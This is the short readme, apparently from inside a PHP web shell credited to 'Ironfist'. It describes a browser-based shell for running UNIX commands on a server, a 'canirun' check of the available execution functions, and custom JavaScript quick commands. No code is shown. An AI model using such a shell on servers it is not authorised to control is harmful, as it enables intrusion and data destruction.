&copy; By Ironfist

The shell can be used by anyone to command any server, the main purpose was
to create a shell that feels as dynamic as possible, is expandable and easy
to understand.

If one of the command execution functions work, the shell will function fine. 
Try the "canirun" command to check this.

Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re 
not used to these commands, google a little. 

<b>Custom Functions</b>
If you want to add your own custom command in the Quick Commands list, check 
out the code. The $function array contains \'func name\' => \'javascript function\'.
Take a look at the built-in functions for examples.

I know this readme isn\'t providing too much information, but hell, does this shell
even require one :P
